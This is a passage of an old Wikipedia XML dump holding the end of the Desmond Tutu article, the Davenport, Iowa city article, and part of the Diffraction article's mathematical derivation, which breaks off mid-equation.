In January [[2005]], Tutu added his voice to the growing dissent over terrorist suspects held at [[Camp X-Ray]] in [[Guantanamo Bay]], [[Cuba]], referring to detentions without trial as &quot;utterly unacceptable.&quot;

He also used the opportunity to decry [[homophobia]] and called for the acceptance of gay bishop Rt Rev [[Gene Robinson]].

&lt;blockquote&gt;
Declared Tutu: &quot;I am deeply saddened at a time when we've got such huge problems ... that we should invest so much time and energy in this issue...I think God is weeping.&quot;
&lt;br /&gt;
...
&lt;br /&gt;
&quot;Jesus did not say, 'I if I be lifted up I will draw some',&quot; Tutu said, preaching in two morning festival services in Pasadena, California. &quot;Jesus said, 'If I be lifted up I will draw all, all, all, all, all. Black, white, yellow, rich, poor, clever, not so clever, beautiful, not so beautiful. It's one of the most radical things. All, all, all, all, all, all, all, all. All belong. Gay, lesbian, so-called straight. All, all are meant to be held in this incredible embrace that will not let us go. All.&quot;
&lt;br /&gt;
He continued: &quot;Isn't it sad, that in a time when we face so many devastating problems – poverty, HIV/AIDS, war and conflict – that in our Communion we should be investing so much time and energy on disagreement about sexual orientation?&quot;
&lt;br /&gt;
Tutu said the Communion, which &quot;used to be known for embodying the attribute of comprehensiveness, of inclusiveness, where we were meant to accommodate all and diverse views, saying we may differ in our theology but we belong together as sisters and brothers&quot; now seems &quot;hell-bent on excommunicating one another. God must look
on and God must weep.&quot;
&lt;br /&gt;
Source: [http://www.speroforum.com/site/article.asp?idCategory=33&amp;idsub=128&amp;id=2141]
&lt;/blockquote&gt;

On [[April 20]], [[2005]], following the election of [[Pope Benedict XVI|Cardinal Joseph Ratzinger]] as [[Pope Benedict XVI]], Tutu said he was sad that [[Roman Catholic Church|The Roman Catholic Church]] was unlikely to change its opposition to [[condom]]s amidst the fight against [[HIV|HIV/AIDS]] in [[Africa]]: &quot;We would have hoped for someone more open to the more recent developments in the world, the whole question of the ministry of women and a more reasonable position with regards to condoms and HIV/AIDS.&quot;{{ref|conservative}}

On [[February]] [[2006]] Desmond Tutu took part in the 9th Assembly of the [[World Council of Churches]], held in [[Porto Alegre]], [[Brazil]]. There he manifested his commitment to ecumenism and praised the efforts of Christian churches to promote dialogue in order to diminish their differences. For Desmond, &quot;a united church is no optional extra&quot;.

== Trivia ==

* The British lower second-class honors undergraduate degree, a '2:2', is colloquially known as a &quot;Desmond&quot; in his honor because it is pronounced the same as his last name – see [[British undergraduate degree classification]]
* Tutu has taught in the school of theology at Emory University in Atlanta, Georgia.
* Tutu is the author of, &quot;God Has A Dream: A Vision of Hope for Our Time&quot; published in 2004.
* Famous Austrian-American director Billy Wilder once said: &quot;My English is a mixture between Arnold Schwarzenegger and Archbishop Tutu&quot;.

== Notes ==
&lt;!-- Instructions for adding a footnote:
   NOTE: Footnotes in this article use names, not numbers. Please see [[Wikipedia:Footnote3]] for details.
     1) Assign your footnote a unique name, for example TheSun_Dec9.
     2) Add the macro {{ref|TheSun_Dec9}} to the body of the article, where you want the new footnote.
     3) Take note of the name of the footnote that immediately proceeds yours in the article body.
     4) Add #{{Note|TheSun_Dec9}} to the list, immediately below the footnote you noted in step3.
     5) Multiple footnotes to the same reference will not work: you must insert two uniquely-named footnotes.
   NOTE: It is important to add the Footnote in the right order in the list.
--&gt;
#{{note|Nobel}} The Norwegian Nobel Committee [http://nobelprize.org/peace/laureates/1984/press.html The Nobel Peace Prize for 1984] Nobelprize.org (accessed July 17, 2005).  
#{{note|Apartheid}} Desmond Tutu, &quot;[http://www.palestineremembered.com/Acre/Articles/Story838.html Apartheid in the Holy Land],&quot; ''The Guardian'' April 29, 2002 (accessed June 11, 2005).
#{{note|BBC_Apr02}} Desmond Tutu, &quot;[http://news.bbc.co.uk/1/hi/world/africa/1957644.stm Tutu condemns Israeli 'apartheid'],&quot; ''The BBC'' April 29, 2002 (accessed Feb. 13, 2006).
#{{note|terrorism}} Jacob Goodman and Libby Goodman, &quot;[http://www.zoa.org/pressrel2000/20000512a.htm Tutu To Speak At Brandeis U. Despite Never Retracting Anti-Semitic Remarks],&quot; Zionist Organization of America, May 12, 2000 (accessed June 11, 2005).
#{{note|Wiesenthal}} &quot;[http://news.bbc.co.uk/1/hi/world/americas/2058371.stm Jewish group ticks off Tutu],&quot; ''The BBC'' June 21, 2002 (accessed Feb. 13, 2006).
#{{note|fuss}} &quot;[http://uk.gay.com/headlines/4846 Desmond Tutu: gay bishop row is just 'fuss'],&quot; Gay.com UK, August 11, 2005 (accessed June 11, 2005).
#{{note|conservative}} &quot;[http://news.bbc.co.uk/2/hi/africa/4463873.stm  Africans hail conservative Pope],&quot; ''BBC News'', April 20, 2005 (accessed June 11, 2005).
&lt;!--READ ME!! PLEASE DO NOT JUST ADD NEW NOTES AT THE BOTTOM. See the instructions above on ordering. --&gt;

== Bibliography ==

=== Primary ===

Tutu is the author of six collections of [[sermon]]s and other writings:

* ''Crying in the Wilderness'' ([[1982]])
* ''Hope and Suffering: Sermons and Speeches'' ([[1983]])
* ''The Words of Desmond Tutu'' ([[1989]])
* ''The Rainbow People of God'' ([[1994]])
* ''The Essential Desmond Tutu'' ([[1997]])
* ''No Future without Forgiveness'' ([[1999]])
* ''God Has a Dream: A Vision of Hope for Our Time'' ([[2004]])

=== Secondary ===

* Shirley du Boulay, ''Tutu: Voice of the Voiceless'' (Eerdmans, 1988).
* Michael Battle, ''Reconciliation: The Ubuntu Theology of Desmond Tutu'' (Pilgrim Press, 1997).
* Steven D. Gish, ''Desmond Tutu: A Biography'' (Greenwood, 2004).
* David Hein, &quot;Bishop Tutu's Christology.&quot; ''Cross Currents'' 34 (1984): 492-99.
* David Hein, &quot;Religion and Politics in South Africa.&quot; ''Modern Age'' 31 (1987): 21-30.

==External links==
{{wikiquote}}
* [http://www.tutu.org/ The Desmond Tutu Peace Centre]
* [http://www.nobel.se/peace/laureates/1984/tutu-bio.html Nobel e-Museum] Nobel Peace Prize Desmond Tutu biography
* [http://nobelprize.org/peace/laureates/1984/tutu-lecture.html Nobel lecture], [[11 December]] [[1984]]
* [http://www.squidoo.com/desmond-tutu/ Rev. Desmond Tutu's Philosophy]

[[Category:1931 births|Tutu, Desmond]]
[[Category:Living people|Tutu, Desmond]]
[[Category:Nobel Peace Prize winners|Tutu, Desmond]]
[[Category:Humanitarians]]
[[Category:South African people|Tutu, Desmond]]
[[Category:Apartheid in South Africa|Tutu, Desmond]]
[[Category:South African prelates|Tutu, Desmond]]
[[Category:Anglican archbishops|Tutu, Desmond]]
[[Category:Social justice|Tutu, Desmond]]
[[Category:Alumni of King's College London|Tutu, Desmond]]
[[Category:Pro-life celebrities|Tutu, Desmond]]
[[Category:Chaplains|Tutu, Desmond]]

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  <page>
    <title>Davenport, Iowa</title>
    <id>8599</id>
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      <comment>migrate {{web reference}} to {{[[template:cite web|cite web]]}} using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">[[Image:Dillon_crop2.JPG|thumb|300px|Dillon Fountain and Main St. in Davenport, Iowa]]
[[Image:Davenport1.jpg|thumb|300px|Davenport's LeClaire Park during the 2003 Mississippi Valley Blues Festival]]

The city of '''Davenport''' was incorporated in [[1839]] and is located in the [[U.S. state]] of [[Iowa]].  As of the [[United States 2000 Census|2000 census]], the city had a total population of 98,359.  The city is part of the [[Quad Cities]] of Iowa and [[Illinois]].  The city borders the [[Mississippi River]].  Davenport is the home of Palmer Chiropractic College, the birthplace of [[chiropractic]] medicine and wellness technique.  [[Saint Ambrose University]] is also located in Davenport.  Davenport is the [[county seat]] of [[Scott County, Iowa|Scott County]].  

Davenport often makes national headlines when the Mississippi River floods.  It is the only city over 20,000 people bordering the Mississippi that has no permanent floodwall or levee. Davenport prefers the open access to the river for parks and vistas over having access cut off by dikes and levees.  Davenport has adopted ordinances that any new construction in the floodplain must be elevated above the 100 year flood level or protected with walls.  As a result, feasibility studies done by the [[United States Army Corps of Engineers]] have determined that building a floodwall along Davenport's riverfront is not feasible.  Two examples of buildings that are elevated or floodproofed in Davenport are [[John O'Donnell Stadium]] and the [[Figge Art Museum]].  

Several well-known annual festivals take place in Davenport.  Notable festivals are the Mississippi Valley Blues Festival, The Mississippi Valley Fair, and the [[Bix Beiderbecke Memorial Jazz Festival]], dedicated to Davenport native [[Bix Beiderbecke]].  An internationally known seven-mile foot race called the [[Bix 7]] is run during the festival.

The [[Roman Catholic Diocese of Davenport]] is based out of Davenport.  This [[diocese]] covers the southeast quarter of the state of [[Iowa]].  The current Bishop of the Diocese is Bishop William Edwin Franklin.  The [[Cathedral]] [[parish]] for this Diocese is [[Sacred Heart Cathedral (Davenport|Sacred Heart Cathedral]].

== History ==
{{see|List of mayors of Davenport}}

The first railroad bridge built across the Mississippi River connected Davenport and [[Rock Island, IL]] in [[1856]].  It was built by the Rock Island Railroad Company. Steamboaters saw nationwide railroads as a threat to their business. On [[May 6]], [[1856]], just weeks after it was completed, an angry steamboater crashed the ''Effie Afton'' steamboat into the bridge. The owner of the ''Effie Afton'', John Hurd, filed a lawsuit against The Rock Island Railroad Company. The Rock Island Railroad Company selected [[Abraham Lincoln]] as their trial lawyer, this being Lincoln's first legal case and pivotal to his career.

A few decades earlier, [[Keokuk (Sauk chief)|Keokuk]] and General [[Winfield Scott]] signed a treaty to end the [[Black Hawk War]] in [[1832]] on the same spot the railroad bridge would later be built.  The treaty resulted in the United States gaining 6 million acres (24,000 km&amp;sup2;) of land.

The first female mayor in the state of Iowa, Kathy Kirschbaum, was elected in Davenport in [[1972]].

On [[November 28]], [[1986]], actor [[Cary Grant]] suffered a major stroke while performing at Davenport's Adler Theater.  He died at 11:22 p.m. while admitted to St. Luke's Hospital (now the east campus of Genesis Hospital).

Davenport made national headlines on [[August 4]], [[2004]], when both of the main candidates in the [[2004]] Presidential election held events there.  Both [[John Kerry]] and [[George W. Bush]] made appearances, and the events for both men were only a few city blocks away from each other.

== Geography ==
[[Image:IAMap-doton-Davenport.PNG|right|Location of Davenport, Iowa]]
Davenport is located at 41&amp;deg;32'35&quot; North, 90&amp;deg;35'27&quot; West (41.542982, -90.590745){{GR|1}}.

According to the [[United States Census Bureau]], the city has a total area of 168.2 [[square kilometre|km&amp;sup2;]] (64.9 [[square mile|mi&amp;sup2;]]).  162.6 km&amp;sup2; (62.8 mi&amp;sup2;) of it is land and 5.6 km&amp;sup2; (2.2 mi&amp;sup2;) of it is water.  The total area is 3.31% water.  Davenport has 27 parks with a total of 2,200 acres (8.9 km&amp;sup3;) of land.

While situated squarely in the path of 'Tornado Alley' Davenport is believed to be protected by a blessing going back to the days when the indigenous population (Sauk and Fox tribes) lived in nearby Saukenuk.  To this day no funnel cloud has touched within the city's boundaries.

The influence of the native Sauk and Fox tribes in the Upper Mississippi region, led British emigree George Davenport, in [[1805]], to establish a home and trading post on Rock Island (Now the US Army Rock Island Arsenal). The Davenport trading post atrracted many entrepreneurs, including part-Native American Antoine Le Claire, who founded a settlement at the bluffs across from &quot;Colonel&quot; Davenport's Trading Post.  From a small village of traders, the town became known for transporting cargo up the famous Rock Island Rapids, and became a rough and tumble European community, with heavy German and Flemish settlement late in the [[19th Century]].

Davenport was located on the longest stretch of the Mississippi river with rapids. At this point, the river also runs east to west. Anyone who has grown up elsewhere along the river is mildly surprised to see the sun rise and set along its path. Part of the native blessing of the Sauk and Fox is that when the &quot;Father of Waters,&quot; the spirit of the Mississippi, flowed south between this portion of Iowa and Illinois, he turned to look with wonder at the great beauty of the valley. Thus, the &quot;nose&quot; of the map of Iowa was created, with Davenport its leading town.

== Demographics ==
As of the [[census]]{{GR|2}} of [[2000]], there are 98,359 people, 39,124 households, and 24,804 families residing in the city.  The [[population density]] is 604.8/km&amp;sup2; (1,566.5/mi&amp;sup2;).  There are 41,350 housing units at an average density of 254.3/km&amp;sup2; (658.5/mi&amp;sup2;).  The racial makeup of the city is 83.68% [[Race (U.S. Census)|White]], 9.24% [[Race (U.S. Census)|Black]] or [[Race (U.S. Census)|African American]], 0.37% [[Race (U.S. Census)|Native American]], 2.00% [[Race (U.S. Census)|Asian]], 0.02% [[Race (U.S. Census)|Pacific Islander]], 2.32% from [[Race (U.S. Census)|other races]], and 2.36% from two or more races.  5.36% of the population are [[Hispanic American|Hispanic]] or [[Race (U.S. Census)|Latino]] of any race.

There are 39,124 households out of which 31.8% have children under the age of 18 living with them, 46.0% are [[Marriage|married couples]] living together, 13.4% have a female householder with no husband present, and 36.6% are non-families. 29.5% of all households are made up of individuals and 9.4% have someone living alone who is 65 years of age or older.  The average household size is 2.44 and the average family size is 3.03.

In the city the population is spread out with 26.2% under the age of 18, 10.7% from 18 to 24, 30.1% from 25 to 44, 20.9% from 45 to 64, and 12.1% who are 65 years of age or older.  The median age is 34 years.  For every 100 females there are 94.7 males.  For every 100 females age 18 and over, there are 90.9 males.

The median income for a household in the city is $37,242, and the median income for a family is $45,944. Males have a median income of $34,153 versus $24,634 for females. The [[per capita income]] for the city is $18,828.  14.1% of the population and 10.5% of families are below the [[poverty line]].  Out of the total population, 19.2% of those under the age of 18 and 6.4% of those 65 and older are living below the poverty line.

== Transportation ==
Three interstate highways serve Davenport: [[Interstate 80]], [[Interstate 280 (Illinois-Iowa)|Interstate 280]] and [[Interstate 74]].

[[U.S. Highway 61]], U.S Highway 6 and [[U.S. Highway 67]] also go through Davenport; U.S. 67 crosses over to [[Illinois]] via the [[Rock Island Centennial Bridge|Centennial Bridge]].  Davenport is connected to the Illinois side of the Quad Cities by a total of four bridges across the [[Mississippi River]].

Other highways include [[Iowa State Highway 22]] (on the city's southwest side) and [[Iowa State Highway 130]], along Northwest Boulevard on Davenport's north edge.

For air travel, Davenport Municial Airport – located adjacent to the city's northern city limits – serves smaller aircraft, while the [[Quad City International Airport]] across the river in [[Moline, Illinois]] is the closest commercial airport.

Major railroads include the [[Iowa Interstate Railroad]] and the IC&amp;E Rail Link.

Two national U.S. recreation trails intersect in Davenport: the [http://www.mississippirivertrail.org/ Mississippi River Trail] and the [[American Discovery Trail]].

== Law and government ==
Davenport currently uses the [[mayor-council government|mayor-council]] form of local government (when this format was adopted is not clear at present) consisting of a mayor and a ten-person council, all duly elected officials.  A [[list of mayors of Davenport]] has been compiled, spanning the period 1839 to the present.

== Notable people ==
* [[Patricia White Barry]] - Actress.
* [[Bix Beiderbecke]] - Jazz musician.
* [[Isabel Bloom]] - Artist.
* [[Lara Flynn Boyle]] - Actress.
* [[Samuel Cody]] - Aviation pioneer.
* [[Roger Craig]] - NFL football Pro Bowl running back for the [[San Francisco 49ers]].
* [[Ricky Davis]] - NBA basketball player for the [[Boston Celtics]].
* [[Eugene Ely]] - Aviation pioneer.
* [[Susan Glaspell]] - Author.
* [[James Grant (of Iowa)| James Grant]] - Lawyer and business leader.
* [[Elmer Layden]] - Former commissioner of the NFL and [[University of Notre Dame]] football coach.
* [[Sue Lyon]] - Actress.
* [[Pat Miletich]] - Former champion of [[Ultimate Fighting Championship]], and founder of Miletich Fighting Systems.
* [[Michael Nunn]] - Former middleweight boxing champion.
* [[Daniel David Palmer]] - inventor of [[chiropractic medicine]].
* [[Mary Beth Peil]] - Actress and opera singer.
* [[Nat Pendleton]] - Olympic wrestler and actor.
* [[Ronald Reagan]] worked as a [[radio]] announcer at the WOC station in Davenport.
* [[Jim Skinner]] - CEO of [[McDonald's]] Corporation.
* [[Susan Glaspell]] - playwright (Trifles).  Founder of Provincetown Players

== Points of interest ==
[[Image:Bridge and Ducks.jpg|thumb|300px|Bridge over the Mississippi in Davenport]]
* [[Brady Street Stadium]]
* [[Rock Island Centennial Bridge|Centennial Bridge]]
* [[Credit Island]]
* [[Davenport Central High School]]
* [[Davenport Skybridge]]
* [[Figge Art Museum]]
* [[Great Mississippi Valley Fairgrounds]]
* [[John O'Donnell Stadium]]
* [[Northpark Mall (Iowa)|Northpark Mall]]
* [[Putnam Museum and IMAX Theater]]
* [[River Music Experience]]
* [[Sacred Heart Cathedral (Davenport)]]
* [[Saint Ambrose University]]
* Stampe Lilac Garden - established and maintained by Mr. and Mrs. Wilson Stampe, later named in their honor. It contains about 250 blooming [[lilac]] bushes, [[crab apple]]s, and 30,000 spring-blooming bulbs ([[narcissus (flower)|narcissus]], [[daffodil]]s, [[crocus]], [[hyacinth]]s, and [[tulip]]s).
* [[Vander Veer Botanical Park]]

== References ==
# {{cite web | title=Homepage | work=City of Davenport, Iowa | url=http://www.cityofdavenportiowa.com/ | accessdate=December 17 | accessyear=2005}}

== External links ==
{{Mapit-US-cityscale|41.542982|-90.590745}}
*[http://www.HavenWorks.com/davenport Davenport Iowa News.]

{{Iowa}}

[[Category:Cities in Iowa]]
[[Category:Scott County, Iowa]]
[[Category:Cities on the Mississippi River]]

[[io:Davenport, Iowa]]
[[sv:Davenport]]</text>
    </revision>
  </page>
  <page>
    <title>Diffraction</title>
    <id>8603</id>
    <revision>
      <id>40198523</id>
      <timestamp>2006-02-18T22:23:14Z</timestamp>
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        <username>Chlewbot</username>
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      <minor />
      <comment>robot  Adding: gl</comment>
      <text xml:space="preserve">'''Diffraction''' is the bending and spreading of [[wave]]s when they meet an obstruction. It can occur with any type of wave, including [[sound]] waves, [[water]] waves, and [[electromagnetic radiation|electromagnetic waves]] such as [[light]] and [[radio waves]]. Diffraction also occurs when any group of waves of a finite size is propagating; for example, a narrow beam of [[light]] waves from a [[laser]] must, because of diffraction of the beam, eventually diverge into a wider beam at a sufficient distance from the laser. As a simple example of diffraction, if you speak into one end of a cardboard tube, the sound waves emerging from the other end spread out in all directions, rather than propagating in a straight line like a stream of water from a garden hose.

== Introduction ==

Diffraction is one particular type of wave [[interference]], caused by the partial obstruction or lateral restriction of a wave. Not all interference is diffraction; for example, sound waves emitted by two stereo speakers will interfere with each other if they are of the same frequency and have a definite phase relationship, but this is not diffraction. Diffraction will not occur if the wave is not [[coherence (physics)|coherent]], and diffraction effects become weaker (and ultimately undetectable) as the size of obstruction is made larger and larger compared to the wavelength. In well-defined cases, a '''diffraction pattern''' may be observed.

Diffraction is not the same as [[refraction]], although both are phenomena in which a wave does not propagate in a single direction. Refraction is not an interference phenomenon, and, e.g., can occur without coherence. 

It is the diffraction of &quot;particles,&quot; such as electrons, which stood as one of the powerful arguments in favor of [[quantum mechanics]]. It is possible to observe diffraction of particles such as [[neutrons]] or [[electron]]s and hence we are able to infer the existence of [[wave-particle duality]]. Indeed, this diffraction is a useful tool; the wavelengths of these particle-waves are small enough that they are used as probes of the atomic structure of crystals. See [[electron diffraction]] and [[neutron diffraction]].

&lt;div style=&quot;float: right; margin: 0 0 1em 1em; text-align: center;&quot;&gt;[[image:doubleslitdiffraction.png]]&lt;br /&gt;''Double-slit diffraction''&lt;br /&gt;
&lt;br /&gt;&lt;br /&gt;
[[image:Laserdiffraction.jpg]]&lt;br /&gt;
Double-slit diffraction&lt;br /&gt;
&lt;small&gt;(''red laser light'')&lt;/small&gt;&lt;br /&gt;&lt;br /&gt;
[[image:Diffraction2vs5.jpg]]&lt;br /&gt;
''2-slit and 5-slit diffraction''
&lt;/div&gt;

The most conceptually simple example of diffraction is double-slit diffraction in which both slits have relatively narrow widths compared to the [[wavelength]] of the wave. Suppose, for the sake of visualization, that these are water waves. After passing through the slits, two overlapping patterns of semicircular ripples are formed, as shown in the first figure. Where a crest overlaps with a crest, a double-height crest will be formed; this is constructive [[interference]]. Constructive interference also occurs where a trough overlaps another trough. However, when a trough and a crest overlap, they cancel out; the interference is destructive. The second figure shows the result of this process with light waves of a single wavelength originating from a laser. The constructive-interference locations are called maxima, because they have maximum brightness. The destructive-interference locations are the minima. Historically, the first proof that light was a wave phenomenon came from the [[double-slit experiment]] of  [[Thomas Young (scientist)|Thomas Young]].

== General facts about diffraction ==

Several qualitative observations can be made:
* When the dimensions of the diffracting object are reduced, the angular spacing of the diffraction pattern is increased in inverse proportion. (More precisely, this is true of the [[sine]]s of the angles.)
* The diffraction angles are invariant under scaling; that is, they depend only on the ratio of the wavelength to a dimension, ''a'', of the diffracting object.
* When the diffracting object is repeated, the effect is to narrow each maximum, concentrating its energy within a narrower range of angles. The third figure, for example, shows a comparison of a double-slit pattern with a pattern formed by five slits, both sets of slits having the same spacing, ''a'', between the center of one slit and the next.

== Mathematical description ==

It is mathematically easier to consider the case of far-field or [[Fraunhofer diffraction]], where the diffracting obstruction is many wavelengths distant from the point at which the wave is measured. The more general case is known as near-field or [[Fresnel diffraction]], and involves more complex mathematics. As the observation distance is increased the results predicted by the Fresnel theory converge towards those predicted by the simpler Fraunhofer theory. This article considers far-field diffraction, which is commonly observed in nature.

Quantitatively, the angular positions of the minima in multiple-slit diffraction are given by the equation

:&lt;math&gt; \sin \theta = \frac{\lambda}{a} m, &lt;/math&gt;

where ''m'' is an [[integer]] that labels the ''order'' of each minimum.  The central maximum is two orders wide, however, so ''m'' = 0, &amp;theta; = 0 is the absolute maximum of the distribution and intensity functions.  This is a form of '''Bragg's law''' (see below).

&lt;div style=&quot;float: right; margin: 0 0 1em 1em; text-align: center;&quot;&gt;[[image:diffraction1.png]]&lt;br /&gt;''Graph and image''&lt;/div&gt;

===Quantitative analysis of single-slit diffraction===

As an example, an exact equation can now be derived for the intensity of the diffraction pattern as a function of angle in the case of single-slit diffraction. 

A mathematical representation of [[Huygens' principle]] can be used to start an equation.

Consider a monochromatic complex plane wave &lt;math&gt;\Psi^\prime&lt;/math&gt; of wavelength &amp;lambda; incident on a slit of width ''a''. 

If the slit lie in the x&amp;prime;-y&amp;prime; plane, with its center at the origin, then it can be assumed that diffraction generates a complex wave &amp;psi;, traveling radially in the r direction away from the slit, and this is given by:

:&lt;math&gt;\Psi = \int_{slit} \frac{i}{r\lambda} \Psi^\prime e^{-ikr}\,dslit&lt;/math&gt;

let (x&amp;prime;,y&amp;prime;,0) be a point inside the slit over which it is being integrated. If  (x,0,z) is the location at which the intensity of the diffraction pattern is being computed, the slit extends from &lt;math&gt;x^\prime=-a/2&lt;/math&gt;  to &lt;math&gt;+a/2\,&lt;/math&gt;, and from &lt;math&gt;y'=-\infty&lt;/math&gt; to &lt;math&gt;\infty&lt;/math&gt;.

The distance ''r'' from the slot is: 

:&lt;math&gt;r = \sqrt{\left(x - x^\prime\right)^2 + y^{\prime2} + z^2}&lt;/math&gt;

:&lt;math&gt;r = z \left(1 + \frac{\left(x - x^\prime\right)^2 + y^{\prime2}}{z^2}\right)^\frac{1}{2}&lt;/math&gt;

Assuming [[Fraunhofer diffraction]] will result in the conclusion &lt;math&gt;z &gt;&gt; \big|\left(x - x^\prime\right)\big|&lt;/math&gt;.  In other words, the distance to the target is much larger than the diffraction width on the target.
By the [[binomial expansion]] rule, ignoring terms quadratic and higher, the quantity on the right can be estimated to be:

:&lt;math&gt;r \approx z \left( 1 + \frac{1}{2} \frac{\left(x - x^\prime \right)^2 + y^{\prime 2}}{z^2} \right)&lt;/math&gt;

:&lt;math&gt;r \approx z + \frac{\left(x - x^\prime\right)^2 + y^{\prime 2}}{2z}&lt;/math&gt;

It can be seen that 1/''r'' in front of the equation is non-oscillatory, i.e. its contribution to the magnitude of the intensity is small compared to our exponential factors.  Therefore, we will lose little accuracy by approximating it as ''z''.

{|
|-
|&lt;math&gt;\Psi \,&lt;/math&gt;
|&lt;math&gt;= \frac{i \Psi^\prime}{z \lambda} \int_{-\frac{a}{2}}^{\frac{a}{2}}\int_{-\infty}^{\infty} e^{-ik\left[z+\frac{ \left(x - x^\prime \right)^2 + y^{\prime 2}}{2z}\right]} \,dx^\prime \,dy^\prime&lt;/math&gt;
|-
|
|&lt;math&gt;= \frac{i \Psi^\prime}{z \lambda} e^{-ikz} \int_{-\frac{a}{2}}^{\frac{a}{2}}e^{-ik\left[\frac{\left(x - x^\prime \right)^2}{2z}\right]} \,dx^\prime \int_{-\infty}^{\infty} e^{-ik\left[\frac{y^{\prime 2}}{2z}\right]} \,dy^\prime&lt;/math&gt;
|-
|
|&lt;math&gt;=\Psi^\prime \sqrt{\frac{i}{z\lambda}} e^\frac{-ikx^2}{2z} \int_{-\frac{a}{2}}^{\frac{a}{2}}e^\frac{ikxx^\prime}{z} e^\frac{-ikx^{\prime 2}}{2z} \,dx^\prime&lt;/math&gt;
|-
|}

To make things cleaner, a placeholder 'C' is used to denote constants in the equation.  It is important to keep in mind that C can contain imaginary numbers, thus the wave function will be complex, however at the end, the &amp;psi; will be bracketed, which will eliminate any imaginary components.

Now, in Fraunhoffer diffraction, &lt;math&gt;kx^{\prime 2}/z&lt;/math&gt; is small, so &lt;math&gt;e^\frac{-ikx^{\prime 2}}{2z} \approx 1&lt;/math&gt;.  The same approximation holds for &lt;math&gt;e^\frac{-ikx^2}{2z}&lt;/math&gt;.  Thus, taking &lt;math&gt;C = \Psi^\prime \sqrt{\frac{i}{z\lambda}}&lt;/math&gt;, this results in:

{|
|-
|&lt;math&gt;\Psi\, &lt;/math&gt;
|&lt;math&gt;= C \int_{-\frac{a}{2}}^{\frac{a}{2}}e^\frac{ikxx^\prime}{z} \,dx^\prime&lt;/math&gt;
|-
|
|&lt;math&gt;=C \frac{\left(e^\frac{ikax}{2z} - e^\frac{-ikax}{2z}\right)}{\frac{2ikax}{2z}}&lt;/math&gt;
|}

It can be noted through [[Euler's formula]] and its derivatives that &lt;math&gt;\sin x = \frac{e^{ix} - e^{-ix}}{2i}&lt;/math&gt; and &lt;math&gt;\sin \theta = \frac{x}{z}&lt;/math&gt;. 

&lt;math&gt;\Psi = C \frac{\sin\frac{ka\sin\theta}{2}}{\frac{ika\sin\theta}{2}}&lt;/math&gt;

Now, substituting in &lt;math&gt;\frac{2\pi}{\lambda} = k&lt;/math&gt;, the intensity ''I'' of the diffracted waves at an angle &amp;theta; is given by:

{|
|-
|&lt;math&gt;I(\theta)\, &lt;/math&gt;
|&lt;math&gt;= \frac{c}{8\pi}\big|\Psi(\theta)\big|^2 &lt;/math&gt;
|-
|
|&lt;math&gt;= I_0 \langle \Psi \Big|\Psi \rangle \,&lt;/math&gt;
|-
|
|&lt;math&gt;= I_0 {\left[ \operatorname{sinc} \left( \frac{\pi a}{\lambda} \sin \theta \right) \right] }^2 &lt;/math&gt;
|}

where the sinc function is given by sinc(''x'') = sin(''x'')/''x''.

===Quantitative analysis of ''n''-slit diffraction===

Let us again start with the mathematical representation of [[Huygens' principle]].

:&lt;math&gt;\Psi = \int_{slit} \frac{i}{r\lambda} \Psi^\prime e^{-ikr}\,dslit&lt;/math&gt;

Consider ''n'' slits in the prime plane of the equal size (''a'', &lt;math&gt;\infty&lt;/math&gt;, 0) and spacing ''d'' spread along the x&amp;prime; axis.  As above, the distance ''r'' from the slit 1 is:

:&lt;math&gt;r = z \left(1 + \frac{\left(x - x^\prime\right)^2 + y^{\prime2}}{z^2}\right)^\frac{1}{2}&lt;/math&gt;

To generalize this to ''n'' slits, we make the observation that while ''z'' and ''y'' remain constant, x&amp;prime; shifts by 

:&lt;math&gt;x_{j=0 \cdots n-1}^{\prime} = x_0^\prime - j d &lt;/math&gt;

Thus 

:&lt;math&gt;r_j = z \left(1 + \frac{\left(x - x^\prime - j d \right)^2 + y^{\prime2}}{z^2}\right)^\frac{1}{2}&lt;/math&gt; 

and the sum of all n contributions to the wave function is:

:&lt;math&gt;\Psi = \sum_{j=0}^{N-1} C \int_{-\frac{a}{2}}^{\frac{a}{2}} e^\frac{ikx\left(x^\prime - jd\right)}{z} e^\frac{-ik\left(x^\prime - jd\right)^2}{2z} \,dx^\prime&lt;/math&gt;

Again noting that &lt;math&gt;\frac{k\left(x^\prime -jd\right)^2}{z}&lt;/math&gt; is small, so &lt;math&gt;e^\frac{-ik\left(x^\prime -jd\right)^2}{2z} \approx 1&lt;/math&gt;, we have:

{|
|-
|&lt;math&gt;\Psi\, &lt;/math&gt;
|&lt;math&gt;= C\sum_{j=0}^{N-1} \int_{-\frac{a}{2}}^{\frac{a}{2}} e^\frac{ikx\left(x^\prime - jd\right)}{z} \,dx^\prime&lt;/math&gt;
|-
|
|&lt;math&gt;= C \sum_{j=0}^{N-1} \frac{\left(e^{\frac{ikax}{2z} - \frac{ijkxd}{z}}  - e^{\frac{-ikax}{2z}-\frac{ijkxd}{z}}\right)}{\frac{2ikax}{2z}}&lt;/math&gt;
|-
|
|&lt;math&gt;= C \sum_{j=0}^{N-1} e^\frac{ijkxd}{z} \frac{\left(e^\frac{ikax}{2z} - e^\frac{-ikax}{2z}\right)}{\frac{2ikax}{2z}}&lt;/math&gt;
|-
|
|&lt;math&gt;= C \frac{\sin\frac{ka\sin\theta}{2}}{\frac{ka\sin\theta}{2}} \sum_{j=1}^{N-1} e^{ijkd\sin\theta}&lt;/math&gt;
|}

Now, we can use the following identity

&lt;math&gt;\sum_{j=0}^{N-1} e^{x j} = \frac{1 - e^{Nx}}{1 - e^x}.&lt;/math&gt;

Substituting into our equation, we find:

{|
|-
|&lt;math&gt;\Psi\, &lt;/math&gt;
|&lt;math&gt;= C \frac{\sin\frac{ka\sin\theta}{2}}{\frac{ka\sin\theta}{2}}\left(\frac{1 - e^{iNkd\sin\theta}}{1 - e^{ikd\sin\theta}}\right)&lt;/math&gt;
|-
|
|&lt;math&gt;= C \frac{\sin\frac{ka\sin\theta}{2}}{\frac{ka\sin\theta}{2}}\left(\frac{e^{-iNkd\frac{\sin\theta}{2}}-e^{iNkd\frac{\sin\theta}{2}}}{e^{-ikd\frac{\sin\theta}{2}}-e^{ikd\frac{\sin\theta}{2}}}\right)\left(\frac{e^{iNkd\frac{\sin\theta}{2}}}{e^{ikd\frac{\sin\theta}{2}}}\right)&lt;/math&gt;
|-
|
